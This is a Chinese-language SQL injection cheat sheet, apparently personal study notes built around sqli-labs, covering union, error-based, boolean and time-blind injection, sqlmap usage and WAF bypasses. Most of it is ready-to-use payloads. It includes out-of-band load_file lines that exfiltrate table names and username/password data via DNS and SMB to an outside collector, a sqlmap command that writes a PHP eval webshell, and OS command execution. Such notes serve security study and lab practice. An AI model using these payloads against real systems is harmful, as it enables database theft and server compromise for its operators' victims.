• SQL注入

      1. 定义

      • 服务端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入

      2. 产生条件

      1. 客户端能控制输入的内容
      2. 服务端未过滤或未严格过滤输入内容

      3. 防御

      1. 使用预编译语句参数化查询
      2. 使用存储过程
      3. 使用ORM工具
      4. 验证用户****输入
      5. 使用适当的****错误处理机制
      6. 权限最小化

      4. 注入点

      (1). 请求方式

      a. GET请求
      • 通常显示在url中,注入点通常出现在URL的查询字符串部分
      http://example.com/page?id=1' OR '1'='1
      
      b. POST请求
      • 通过HTTP请求的****主体传递,注入点通常在请求体中,不会在URL中显示。
      POST /login HTTP/1.1
      Host: example.com
      Content-Type: application/x-www-form-urlencoded
      
      username=admin'--&password=anything
      

      (2). 注入点类型

      a. 整数型
      select name,password,uid from users where uid = $id
      
      b. 字符型
      select name,password,uid from users where uid = "$id"
      
      c. 搜索型
      select name,password,uid from users where name like "%$uname%";
      

      5. 万能密码

      (1). 原理

      • 使用****构造方式绕过参数的验证

      (2). 使用

      admin' or 1=1 #
      admin' or 1=1 --+
      

      6. 注入流程

      (1). 判断漏洞

      1. 通过注释、闭合单双引号等方法
      2. 通过在参数之间使用and、or来对输入进行判断,是否有语句执行
          '1 and 1=1 -- qwe		//正常显示
          '1 and 1=2 -- qwe		//错误显示,说明有sql注入漏洞
      

      (2). 获取数据

      1. 获取数据库基本信息
      2. 获取数据库名
      3. 获取表名
      4. 获取字段名
      5. 获取用户数据
      

      7. 常用函数

      (1). 内置函数

      内置函数作用
      database() / current_database() / schema()获取当前数据库名
      version()获取当前数据库版本
      user() / current_user()获取当前数据库用户
      @@secure_file_priv获取数据库上传文件的全局变量值
      @@datadir获取数据库的数据存储路径
      @@basedir获取数据库的安装路径
      @@hostname获取数据库服务器的主机名
      @@innodb_version获取InnoDB存储引擎的版本信息
      @@sql_mode获取当前数据库的SQL模式
      @@version_compile_os获取数据库服务器的操作系统版本
      @@global.read_only检查数据库是否处于只读模式

      (2). 内置表

      • 创建的每个数据库连接,****默认存在information_schema数据库,该数据库有3张常用表
      a.schemata
      字段含义
      schemata_name指定数据库
      b. tables
      字段含义
      table_schema指定数据库
      table_name指定表
      c. columns
      字段含义
      table_schema指定数据库
      table_name指定表
      column_name指定字段

      (3). 常用函数

      a. 字符串拼接
      ①concat()
      • 将多个字符串连接为一个字符串
      • -1' union select 1,concat(id,email_id),3 from emails --+
        
        concat
      ②concat_ws()
      • 将多个字符串连接成为一个字符串,****可以指定分隔符
      -1' union select 1,concat_ws('__',id,email_id),3 from emails --+
      

      concat_ws

      ③group_concat()

      • 将多行结果连接成一个结果返回,可以指定分隔符
      -1' union select 1,group_concat(email_id),3 from emails --+
      -1' union select 1,group_concat(email_id separator '~'),3 from emails --+
      

      group_concat

      8. 注入类型

      (1). 联合注入

      • 使用拼接联合方式将2组或多组关键值拼凑起来进行查询
        查询语句1
        union
        	查询语句2
        union
        	查询语句3
        
      a. 条件
      1. 前后语句的查询****字段数相同
      2. 前后语句的****数据类型必须一致
      3. 页面有****回显点
      b. 注入流程
      ①判断注入点
      1. 先判断注入点类型
          1 and 1=1 -- 123
          1 and 1=2 -- 123	=> 发生错误,则为整型,否则考虑为字符型
      2. 判断闭合方式
          1' and 1=2 --+
          1" and 1=2 --+
          1) and 1=2 --+
          1') and 1=2 --+
          1") and 1=2 --+
          1")) and 1=2 --+
          1')) and 1=2 --+
          1")) and 1=2 --+
          1))) and 1=2 --+
          ...
      
      ②判断字段数
      • 结合****二分法使用 order by判断字段数
      1' order by 1 -- 123
      1' order by n -- 123
      1' or 1=1 order by n -- 123
      
      ③判断回显点
      1' union select 1,2 -- 123
      -1' union select 1,2 -- 123		//使用-1来使union前半语句无查询返回值
      
      ④查看数据
      1. 查看数据库数、数据库名
        user()	//返回当前使用数据库的用户
        version()	//返回当前数据库版本
        database()	//返回当前使用的数据库名
        
        #显示所有数据库的信息并显示数据库名
        -1' union select schema_name,2 from information_schema.schemata --+ 
        -1' union select database(),2 --+
        
      2. 查看表数、表名
        #获取表数
        -1' union select count(table_name),2 from information_schema.tables where table_schema = 'liuyanban' --+                '
        
        #获取所有表名
        -1' union select table_name,2 from information_schema.tables where table_schema = 'liuyanban' --+
        
      3. 查看字段数、字段名
        #获取字段数
        -1' union select null,count(column_name) from information_schema.columns where table_schema='liuyanban' and table_name='liuyan' --+      '
        
        #选取指定表内所有字段名
        -1' union select table_name,column_name from information_schema.columns where table_schema='liuyanban' and table_name='liuyan' --+
        
      4. 查看字段内数据
        #获取字段内容
        -1' union select 1,concat_ws("_",username,password) from admim --+
        

      (2). 报错注入

      a. 定义
      • 利用数据库的****某些机制人为的制造出错误条件,使得查询结果能够出现在报错信息中。因此可以想办法构造语句,使得错误信息中可以显示数据库内容
      b. 方法
      ①XPATH
      1. extractvalue

      extractvalue(arg1,arg2)

      **arg1:**XML文档,arg2:XPATH语句,至少接收2个参数

      mysql5.1及以上

      • 标准payload
        1' and extractvalue(1,concat(0x7e,user(),0x7e)) --+
        
        //在报错信息中查询出
        1' and extractvalue(1,arg2) --+
        arg2= concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)
        

      报错注入信息

      1. updatexml

      updatexml(arg1,arg2,arg3)

      arg1为****xml文档,arg2为指定位置xpath的字符串,arg3为String格式的新值

      mysql5.1.5及以上版本

      • 标准payload

        1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+		'#使用0x7e是为了避免查找出的数据被替换掉
        
        1' and updatexml(1,arg2,1) --+
        arg2 = concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)
        

        updatexml报错注入

      ②主键冲突floor

      mysql版本属于[5.1.5,~]

      返回****向下取整的整数只返回arg1的整数部分

      mysql5.0及以上版本,<8.0

      【web安全】——floor报错注入-CSDN博客

      • 标准payload

        1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)y) -- qwe
        
        1' and (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x) -- qwe
        

        floor报错注入

      ③其他报错注入
      1. 列名重复name_const()

      mysql版本属于 [5.0,5.1)

      name_const(name,value),当用来产生一个结果集合时,name_const()促使该列使用给定名称

      • 标准payload

        1' and (select * from (select name_const(version(),1),name_const(version(),1))a) -- qwe			'
        
        #5.7.6只支持使用version()查看版本,其他内置函数均不支持
        

        列明重复报错注入

      1. 整形溢出exp()

      mysql低于5.5.5,5.7.9成功,8.0失败

      exp是以e为底的指数函数,由于数字太大会溢出,该函数会在参数大于709时溢出,产生报错

      • 标准payload
      1' and exp (~(select * from(select version())a)) --+		//只有mysql5.5.29才能正常显示
      

      整形溢出报错注入

      1. 几何函数

      mysql版本属于[5.5.49,~]

      高版本mysql无法得到数据,目前只有****mysql5.5.29、5.1.60能得到正确输出

      geometrycollection()、****multipoint()、polygon()、multipolygon()、linestring()、multilinestring()

      • 标准payload
        1' and 
            (select multipoint(
                (select * from 
                    (select * from 
                        (select * from
                            (select version())a
                        )b
                     )c
            	)
            )
        ) -- qwe
        

      几何函数报错注入

      ④json报错
      • 版本属于[5.7.8,~]

      1. json_type

      获取json值的类型,当我们****传入的值不属于json格式则报错

      json_type(version())

      • 标准payload

        1' and json_type(version())%23 --+
        
      1. json_extract

      json_extract(json_doc,path[,path])

      从json_doc中读取数据,和path的参数匹配,第一个或第二个参数不是json格式就报错

      1' and json_extract(user(),'$.a') -- qwe
      1' and json_extract(user(),'$.a') # 
      
      1' and json_extract('[1,2,3]',user()) -- qwe
      
      1. json_array_append

      json_array_append(json_doc,path,val[,path,val]...),

      将值****附加到json文档中指定数组的末尾返回结果,

      报错输出原理和json_extract函数相同

      1' and json_array_append('[1,2,3]',user(),1) --+ 
      1' and json_array_append('[1,2,3]',user(),1) -- qwe
      
      c. 注入流程
      1. 查看数据库版本

        1' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+
        

        1. 查看数据库版本

      2. 查看库名

        #查看库名
        1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
        

        2. 查看数据库名

      3. 查看表数、表名

        #查看表数
        1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
        

        3. 查看表数

        #查看表名
        1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
        

        4. 查看所有表名

      4. 查看字段数、字段名

        #查看字段数
        1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e)) --+
        
        #查看字段名
        1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e)) --+
        

        5. 查看表的字段名

      5. 查看字段内数据

        1' and extractvalue(1,concat(0x7e,(select group_concat(concat_ws('___',id,email_id)) from information_schema.columns where table_schema=database() and talbe_name='emails' limit 0,1),0x7e)) --+
        

      (3). 布尔盲注

      a. 定义
      • 服务器****不会直接返回具体的数据库,只会返回程序开发所设定的特定信息
      b. 相关函数
      ①长度截取
      • substr(arg1,int1,int2),****int1为截取开始位置(从1开始计算)int2为截取长度,其余用法完全一样

        1. substr()
        2. substring()
        3. mid()
        4. left()
        5. right()
        select substr(database(),1,3)
        
      ②length()
      • 获取数据库长度
      • 使用方法:length(arg1),arg1代表字符串(数据库名)
        select length(database())
        
      ③ascii()
      • 将单一字符,转化为ascii码值
      • 使用方法:ascii(str),str代表字符
        select ascii('a')
        
      ④if()
      • 条件判断
      • 使用方式:if(exp1,true,false)
        select if(length(database())>0,1,0)
        
      ⑤count()
      • 判断记录数
      c. 注入流程
      ①数据库名长度
      1' and (length(database()))=n --+		//n为数据库名长度
      
      ②数据库名称
      1' and (ascii(substr(database(),n,1))=m) --+		//n为第几个位置,m为ascii码[65,122]
      
      ③表名长度
      1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=m) --+
        //m为表名长度
      //获取表的个数
      1' and (select count(*) from information_schema.tables where table_schema=database())=m -- qwe	//m为表的个数
      
      ④表名
      1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n,1))=m) --+			//n为表名的第几个位置,m为ascii范围[65,122]
      
      ⑤字段长度
      1' and (length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1))=m) --+		//m为字段名长度 
      
      //获取字段个数
      1' and ((select count(*) from information_schema.columns where table_schema=database() and table_name='表名')=m) --+	//m为表的个数
      
      ⑥字段名
      1' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),n,1))=m) --+		//n为字段名的位置,m为ascii范围[65,122]
      
      ⑦具体数据
      select 字段 from 表
      

      (4). 时间盲注

      a. 相关函数
      ①sleep()
      • 用法:sleep(arg1),arg1是休眠秒数
        select if(1=1,sleep(10),0)
        
      ②benchmark()
      • 用法:benchmark(arg1,arg2),arg1是执行次数,arg2是执行的表达式
      • 延迟时间****只和机器性能有关
        select if(1=1,benchmark(5000000,md5('abc')),0)
        
      b. 注入流程
      ①获取数据库名长度
      1' and if((length(database()))>5,sleep(10),0) --+
      
      ②获取数据库名称
      1' and if(ascii(substr(database(),m,1))=m,sleep(10),0) --+		//65<=m<=122
      
      ③获取表名长度
      1' and if(exp1,sleep(10),0) --+
      exp1= length((select count(table_name)from information_schema.tables where table_schema=database() limit 0,1))
      综上:
      1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=m,sleep(10),0) --+		//m为表名长度
      
      //获取表的个数
      1' and if(exp1,sleep(10),0) --+
      exp1= select count(*) from information_schema.tables where table_schema=database())=m
      综上:
      1' and if((select count(*) from information_schema.tables where table_schema=database())=4,sleep(10),0) --+	//m为表的个数
      
      ④获取表名
      1' and if(exp1,sleep(10),0) --+
      exp1= ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n,1))=m
      综上:
      1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n,1))=m,sleep(10),0) --+			//n为表名的第几个位置,m为ascii范围[65,122]
      
      ⑤获取字段长度
      1' and if(length(),sleep(10),0) --+
      exp1= length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1))=m
      综上:
      1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1))=2,sleep(10),0) --+		//m为字段名长度 
      
      //获取字段个数
      1' and if((select count(*) from information_schema.columns where table_schema=database() and table_name='表名')=m,sleep(10),0) --+	//m为表的个数
      
      ⑥获取字段名
      1' and if(exp1,sleep(10),0) --+
      exp1= ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),n,1))=m
      综上:
      1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),n,1))=m,sleep(10),0) --+		//n为字段名的位置,m为ascii范围[65,122]
      
      ⑦获取数据

      (5). 数据外带

      a. 定义
      • 如果SQL注入仅能使用****时间盲注,可以使用OOB(out of band),将sql语句执行的结果以数据的形式外带出来
      b. 满足条件
      1. Windows系统
      2. mysql的全局变量****secure_file_priv不为null
      c. DNSlog平台
      网址介绍
      http://dnslog.cn/仅支持DNS数据外带
      http://eyes.sh/支持DNS和HTTP两种数据外带方式
      http://ceye.io/支持DNS和HTTP两种数据外带方式
      Burpsuite Collaborator模块支持DNS和HTTP两种数据外带方式
      d. 外带方式
      ①DNS数据外带
      • **在极限条件(**内网机器不出网,支持dns出网,隐匿性高,不容易被拦截),61长度限制,不支持敏感符号(@#$%),外带数据需要转码,规避流量监测设备

        1. 形式
        load_file(concat('\\\\',查询内容,'.网址\\abc')
        or
        load_file(concat('//',查询内容,'.网址/abc')	# /abc指定外部路径  
        
        1. 实例
          #1.获取数据库名
          select * from users where id=1 and load_file(concat('\\\\',(select database()),'.Laffrex.eyes.sh/abc'));
          
          #2.获取表名
          select * from users where id=1 and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.Laffrex.eyes.sh/abc'));
          
          #3.获取字段名
          select * from users where id=1 and load_file(concat('//',(select group_concat(column_name separator '_') from information_schema.columns where table_schema=database() and table_name='users'),'.Laffrex.eyes.sh/abc'));
          
          #4.获取字段数据
          select * from users where id>0 and load_file(concat('//',(select group_concat(concat_ws('_',id,username,password) separator '__') from information_schema.columns where table_schema=database() and table_name='users'),'.Laffrex.eyes.sh/abc'));
          
      ②SMB数据外带
      • 默认支持TCP/UDP出网方式时可用无长度限制和符号限制,规避流量监测设备
      • Centos7上安装SMB服务
        1. 安装smb服务
        	yum install samba -y
        2. 修改配置文件
        	vim /etc/samba/smb.conf
        3. 修改samba日志路径
        	vim /var/log/samba/log.smbd
        4. 利用实时查看日志并匹配结果
        	tail -f /var/log/samba/log.smbd | grep "failed to find service"
        
      • payload
        1' and load_file(concat('\\\\192.168.172.130\\',(select user()),'t'))%23
        
        1' and load_file(concat('\\\\192.168.172.130\\',(select group_concat(schema_name) from information_schema.schemata),'t'))%23
        
      ③HTTP数据外带
      e. 注入流程
      ①获取数据库名
      1' and load_file(concat('\\\\',(select database()),'.Laffrex.eyes.sh\\abc')) --+
      
      ②获取表名
      1' and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.Laffrex.eyes.sh\\abc')) --+
      
      ③获取字段名
      1' and load_file(concat('//',(select group_concat(column_name separator '_') from information_schema.columns where table_schema=database() and table_name='users'),'.Laffrex.eyes.sh/abc')) --+
      
      ④获取字段数据
      • DNS数据外带有字符大小限制
      #获取id
      1' AND load_file(CONCAT('\\\\',(SELECT group_concat(id separator '__') FROM users),'.Laffrex.eyes.sh/abc')) --+					'
      #获取username
      1' AND load_file(CONCAT('\\\\',(SELECT SUBSTRING(group_concat(username separator '__'), 1, 60) FROM 
      users),'.Laffrex.eyes.sh/abc1')) --+		'#本次字符最大长度为63
      
      1' AND load_file(CONCAT('\\\\',(SELECT SUBSTRING(group_concat(username separator '__'), 61, 120) FROM users),'.Laffrex.eyes.sh/abc1')) --+
      
      1' AND load_file(CONCAT('\\\\',(SELECT substring(group_concat(concat_ws('_',id,username,password) separator '__'),1,45) FROM users),'.Laffrex.eyes.sh/abc')) --+	//本次字符最大长度45
      

      (6). 其他类型

      a. 宽字节注入
      ①产生原因

      set character_set_client="gbk",通常导致编码转换的注入问题

      mysql在使用****GBK编码时,符合条件会认为2个字符是1个汉字

      第一个字节****129-254,第二个字节为64-254

      ②原理

      ①程序员对****特殊字符(例如单引号)进行正则匹配通过反斜杠\使其失效,无法使用普通注入;

      ②gbk编码,可以使用ascii>128的字符与****反斜杠\组合成新字符,从而绕过反斜杠转义

      ③绕过方法
      1. 黑盒

        • 在注入点****后键入%df,再开始正常注入
        1%df%' order by 3 -- qwe
        
      2. 白盒

        • 查看Mysql编码是否为****GBK
        • **是否使用了****preg_replace()**进行正则替换
        • **是否使用了****addslashes()**进行转义
        • **是否使用了****mysql_real_escape_string()**进行转义
      ④修复建议
      1. 设置编码
        Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
        
      2. 使用过滤函数
        mysql_real_escape_string()/addslashes()
        
      b. HTTP头注入
      ①污染参数

      HTTP头参数

      ②产生原因
      1. 在网页代码中的****ip字段数据库有交互
      2. 代码中使用了****超全局变量$_SERVER[]
      ③修复建议
      1. 过滤回车换行字符(%0d%0a、%0D%0A)
      2. 不采用有漏洞版本的apache服务器
      3. 对参数做****合法性校验以及长度限制谨慎地根据用户传入的参数设置http返回包的header设置
      c. 二次编码注入
      ①原理
      • 使用过滤函数****addslashes()时,特殊符号前的反斜杠转义字符会被urldecode()等函数再一次解码,去掉转义字符,导致转移失败| 用户输入 | php解析 | addslashes()编码 | urldecode()解析 | 最终输入 | 结果 |
        | ------------------- | ----------------- | -------------------------- | ------------------------- | --------------------- | -------------------- |
        | id=1%27 | id=1' | id=1 \' | (没有该函数) | id=1 \' | 无法注入! |
        | id=1%2527 | id=1%27 | id=1%27 | (没有该函数) | id=1%27 | 无法注入! |
        | id=1%2527 | id=1%27 | id=1%27 | id=1' | id=1' | 注入成功! |
      -1%2527 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() -- +
      
      ②相关函数
      • urldecode()rawurldecode()
      ③url编码字符

      URL中所有可打印字符

      符号对应url编码
      空格%20或%2B(+)
      双引号"%22
      井号#%23
      百分号%%25
      和&%26
      单引号'%27
      左括号(%28
      右括号)%29
      星号*%2A
      加号+%2B
      逗号,%2C
      减号-%2D
      斜杠/%2F
      反斜杠\%5C
      d. Base64注入
      • Base64编码是基于64个可打印字符来表示二进制数据的方法,可打印字符包括****A-Z,a-z,0-9,+,/,把不可见字符全部编码为可见字符大大降低传输时出现错误的可能性
      ①原理
      • 针对传递的参数被base64****加密后的注入点进行注入,常用于绕过一些WAF检测
      ②注入方法
      1. 先将原本参数****解密,再结合之前注入手法进行设计
      2. 语句设计完成后,****重新加密作为参数进行注入
      ③实例
      1.原参数
      	YWRtaW4n
      2.解密后进行语句设计
      	admin') and updatexml(1,concat(0x7e,database(),0x7e),1) -- qwe		'
      3.base64编码后进行注入	  
      	YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSAtLSBxd2U=
      
      e. 堆叠注入
      ①原理
      • 将****许多语句通过分号叠加在一起执行
      ②满足条件
      1. mysqli_multi_query支持mysql_query不支持
      2. **mysql数据库的配置 **allow_muiti-queries=On
      3. 使用堆叠注入前,须知道数据库的****表名、列名等
      4. 可能受到****API数据库引擎不支持的限制
      ③实例
      #插入数据
      	1';insert into users(username,password) value('icq','icq') -- qwe
      
      f. 二次注入
      ①原理
      • 已****存储的用户恶意输入读取后,再次进入到sql查询语句导致服务端SQL语句被恶意修改并成功执行的注入行为
      ②满足条件
      1. 网站在对用户输入****恶意数据时进行转义处理
      2. 恶意数据****插入到数据库时又被还原并存储到数据库中
      3. 系统****再次调用该恶意数据并执行sql查询时,没有转义数据内特殊字符
      ③实例
      #一个页面,能显示登录后的用户名,这时可以注册不同的payload名的账号,来进行注入
      1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
      
      1' order by 5#
      
      -1' union select 1,database(),3,4,5#
      
      -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5#
      

      9. Sqlmap

      (1). 使用流程

      a. 检测注入点
      • sqlmap -u "带参数网址"
      b. 查看所有数据库
      • sqlmap -u "带参数网址" --dbs
      c. 查看当前数据库
      • sqlmap -u "带参数网址" --current-db
      d. 查看表名
      • sqlmap -u "带参数网址" -D [数据库名] --tables
      e. 列出所有字段名
      • sqlmap -u "带参数网址" -D [数据库名] -T [表名] --columns
      f. 列出字段内容
      • sqlmap -u "带参数网址" -D [数据库名] -T [表名] -C [列名...] --dump
      参数含义
      -a,--all检索所有内容
      --current-user获取当前用户信息
      --tables获取特定数据库的所有表信息
      --columns获取特定表的所有列信息
      --schema获取数据库的整体架构信息
      --dump导出特定数据库或表的数据,不跟任何表或字段则为导出所有数据库信息
      --dump-all导出整个数据库服务器上的所有数据
      -D、-T、-C分别指定数据库、表、字段

      (2). 清除历史记录

      a. Windows
      • C:\Users\26254\AppData\Local\sqlmap
      b. Linux
      • /home/test/.sqlmap
      • /root/.sqlmap
      c. 清除
      1. python sqlmap.py --purge
      2. 删除sqlmap的output文件夹
      3. python sqlmap.py --flush-session

      (3). 基本参数

      a. --privileges
      • 测试注入点权限
      sqlmap -u [URL] --privileges  #测试所有用户的权限
      sqlmap -u [URL] --privileges -U [用户名] #测试指定用户权限
      
      b. --data/-r
      • POST提交方式

      1. 用法
      sqlmap -u [URL] --data "POST参数" 	#通过POST方式提交参数
      sqlmap -u [URL] -r "txt文件"	#读取文件中的HTTP数据包内容来测试POST注入和HTTP Header注入
      
      1. 注意

      1. -p可指定参数
      2. 参数后加 * 可以只测试该参数
      c. -v
      1. 用法
      sqlmap -u [URL] -v 3 	#指定输出级别为3
      
      数据级别含义
      0只显示python的回溯、错误和关键信息
      1显示信息和警告信息
      2显示调试信息
      3显示注入使用的攻击载荷
      4显示HTTP请求
      5显示HTTP响应头
      6显示HTTP相应页面的内容
      1. 注意

      默认输出级别为1

      d. --level
      • 探测等级

      1. 用法
      sqlmap -u [URL] --level 3	#指定测试等级为3
      
      测试等级含义
      1对GET和POST的数据进行测试
      2会对HTTP cookie进行测试
      3会对HTTP User-Agent/Referer头进行测试
      4-5测试更全面,但更慢
      1. 注意

      1. 默认测试等级为1
      2. 不确定那个Payload或参数为注入点时,建议使用更高的level值
      e. --is-dba
      • 判断当前用户的管理员权限

      1. 用法
      sqlmap -u [URL] --is-dba	#查看是否为数据库管理员账户
      
      1. 注意

      1. 返回的结果代表是否有****写权限,可以在服务器上写入一句话木马
      2. 是****管理员返回True,否则返回False
      f. -b/--banner
      • 列出数据库管理系统信息
      ①用法
      sqlmap -u [URL] --banner	#返回①数据库系统版本号②最后的补丁级别③底层的操作系统信息
      
      g. -m
      • 批量进行注入检测

      1. 用法
      sqlmap -m "filename"	#扫描指定文件内的网址
      
      • 指定cookie

      1. 用法
      sqlmap -u [URL] --cookie="name:value"
      
      1. 注意

      1. sqlmap****不支持--method指定http请求的方法
      2. 默认不扫cookie的内容,除非level ≥ 2
      3. cookie内的默认分隔符为****分号;
      i.--user-agent/--random-agent
      • 指定User-Agent

      1. 用法
      sqlmap -u [URL] --user-agent="..."	#指定某一个值
      sqlmap -u [URL] --random-agent	#sqlmap会从文件./txt/user_agents.txt中随机选取一个User-Agent
      
      1. 注意

      同一次会话使用同一个User-Agent,而不是每发一次包就换一个

      j. --technique
      • 指定注入类型

      1. 用法
      sqlmap -u [URL] --technique [类型]  
      
      参数类型
      U(Union query-based)联合查询注入
      E(Error-based)基于报错注入
      B(Boolean-based blind)布尔盲注
      T(Time-based blind)时间盲注
      S(Stacked queries)堆叠查询注入
      Q(Inline queries)内联查询注入
      k. --batch
      • 默认选项均选择Y
      l. --delay
      • 限制请求间隔

      1. 用法
      sqlmap -u [URL] --delay [秒数]	#提高发包间隔
      
      1. 注意

      当有警告 target URL content is not stable 时使用

      (4). 进阶参数

      a. --proxy
      • 使用****代理连接到目标URL
      python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --proxy=http://127.0.0.1:8080 
      
      b. --dbms
      • 强制指定后端DBMS的值
      python sqlmap.py -u "url" --dbms=MYSQL #指定后端数据库时mysql
      python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbms=mysql --batch
      
      c. --risk
      • 指定要执行的测试风险级别(级别1-3,默认为1,)
      python sqlmap.py -u "url" --risk [风险级别]
      
      python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --risk 2
      
      d. 其他参数
      参数含义
      --alert=ALERT在发现SQL注入时运行主机操作系统命令
      --beep在提问、发现漏洞时发出蜂鸣声
      --dependencies检查缺失的(可选的)sqlmap依赖项
      --disable-coloring禁用控制台输出着色
      --list-tampers显示克用的篡改脚本列表
      --no-logging禁用日志记录到文件
      --offine在离线模式下工作
      --purge安全地从sqlmap数据目录中删除所有内容

      sqlmap参数杂项

      (5). 执行sql语句

      a. --sql-query
      • 直接****执行指定的sql语句
      sqlmap -u [url] --sql-query="sql语句"
      
      python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-query="select version()"
      
      b. --sql-shell
      • 直接获得交互式的SQL命令shell** (用于执行update、delete、drop、alert等语句)
      • 执行的语句与注入点的类型有关
      • 输入X或者Q退出交互命令行
      sqlmap -u [URL] --sql-shell
      
      python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
      
      c. --sql-file
      • 直接执行sql文件中的语句
      sqlmap -u [URL] --sql-file=sql文件
      
      python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-file="D:\NetTools\sqlmap\sql_file.sql"
      
      sql_file.sql内容:
      select version();
      select @@datadir;	#输出mysql存放数据的路径
      

      (6). 文件操作

      a. 防御
      • 输入时对****敏感语句过滤
      • **my.ini中配置secure_file_priv=**null
      b. 读文件
      ①满足条件
      1. secure_file_priv不为null
      2. mysql有对某个****目录读写的权限
      3. 知道****绝对路径
      4. 文件****必须在服务器上存在
      5. max_allowed_packed //读写文件最大的字节数
      ②--file-read
      • **原理:利用****load_file()**函数
      sqlmap -u [url] --file-read "文件绝对路径"		#读取文件可以是文本、二进制文件
      
      python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --file-read "D:\phpstudy_pro\WWW\test.txt"
      
      c. 写文件
      ①满足条件
      1. 有****写文件权限
        • secure-file-priv不为null
        • mysql有对某个****目录读写的权限
      2. 知道绝对路径
      3. 必须能****绕过单引号过滤
      ②使用--sql-query、--sql-shell
      • 原理:利用mysql的 ****outfile、dumpfile函数
      #1. 向文件写入内容
      python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --sql-query="select 1,2,'aaa' into outfile 'D:\phpstudy_pro\test5.txt'" --batch
      #2. 写入webshell
      python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --sql-query="select '<?php eval($_POST[1]);?>' into outfile 'D:\phpstudy_pro\WWW\shell3.php'";		#可以转化为16进制写入
      #3. 获取绝对路径
      python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --sql-query="select @@datadir;"
      #4. 查看secure_file_priv的值
      python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --sql-query="select @@secure_file_priv;"
      
      d. 上传文件
      ①满足条件
      1. 有****写文件权限
        • secure-file-priv不为null
        • mysql有对某个****目录读写的权限
      2. 知道绝对路径
      3. 必须能****绕过单引号过滤
      ②--file-write、--file-dest
      sqlmap -u [URL] --file-write [源路径的绝对地址] --file-dest [目的路径的绝对地址]
      python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --file-write "C:\\123.txt" --file-dest "C:\\phpstudy_pro\\www\\test.php"
      
      e. 执行命令
      ①-os-shell \ --os-cmd
      • 原理:利用mysql的****outfile、dumpfile等写文件函数,先上传一个具有上传功能的Webshell,再上传一个具有各种功能的Webshell
      sqlmap -u [URL] --os-cmd="whoami"
      python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd="whoami"
      

      10. Waf绕过

      (1). 基本流程

      1. 身份认证
      2. 数据包解析
      3. 规则系统匹配
      4. 是否拦截
        WAF拦截流程

      (2). 方法

      a. 大小写绕过
      1. 只针对****小写或大写关键字匹配技术
      2. 正则不完善或是没有用大小写转换函数用法
      -1' UnIon SelEct 1,2,3
      
      b. 替换关键字
      ①关键字双写

      只验证一次字符串或字符串过滤不完整用法

      -1' ununionion seselectlect 1,2,3		'#可以构造更复杂的语句
      
      ②同价词替换

      针对****特殊关键字进行检测

      字符替换
      and&&
      or
      =<>
      空格%20 (url编码)
      空格%09 (tab键,水平)
      空格%0a (换行符)
      空格%a0 (空格)
      空格%0b (tab键,垂直)
      空格%0c (新的一页)
      空格%0d (return功能)
      空格/**/
      ③特殊字符拼接

      拼接特殊字符来绕过WAF检测

      id=1;exec(master..xp_cmdshell'net user')
      =>  id=1;exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
      
      c. 编码绕过

      利用浏览器上的****进制转换或者语言编码规则来绕过waf

      unicode、HEX、URL、ascii、base64等URL编码

      ①URL编码

      浏览器会对地址栏中,****非保留字的字符进行URL编码

      #如果waf拦截了union select   (可以尝试多次编码绕过)
      	1' union select 1,2,3 --+
      => 	1' %75%6E%69%6F%6E %73%65%6C%65%63%74 1,2,3 --+
      
